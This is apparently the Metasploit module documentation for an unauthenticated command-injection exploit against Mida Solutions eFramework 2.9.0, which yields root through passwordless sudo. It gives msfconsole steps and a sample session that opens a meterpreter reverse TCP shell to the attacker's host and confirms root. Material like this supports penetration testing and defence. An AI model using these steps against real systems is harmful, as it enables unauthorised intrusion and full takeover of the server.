## Vulnerable Application

This module exploits a command injection vulnerability in
[Mida Solutions eFramework](https://www.midasolutions.com/)
version 2.9.0 and prior.

The `ajaxreq.php` file allows unauthenticated users to inject
arbitrary commands in the `PARAM` parameter to be executed as
the apache user. The sudo configuration permits the apache user
to execute any command as root without providing a password,
resulting in privileged command execution as root.

This module has been successfully tested on Mida Solutions
eFramework-C7-2.9.0 virtual appliance.

Download:

http://ova-efw.midasolutions.com/

## Verification Steps

1. Start msfconsole
1. Do: `use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce`
1. Do: `set RHOSTS [IP]`
1. Do: `set payload [payload]`
1. Do: `set LHOST [IP]`
1. Do: `exploit`

## Options

### TARGETURI

Base path to eFramework (Default: `/`)

## Scenarios

```
msf > use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce 
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set rhosts 172.16.191.123
rhosts => 172.16.191.123
msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > check
[+] 172.16.191.123:443 - The target is vulnerable.
msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (3008420 bytes) to 172.16.191.123
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.123:42452) at 2020-08-30 08:42:27 -0400
[*] Command Stager progress - 100.00% done (897/897 bytes)

meterpreter > getuid
Server username: root @ eFramework-1 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.16.191.123
OS           : CentOS 7.6.1810 (Linux 3.10.0-957.10.1.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
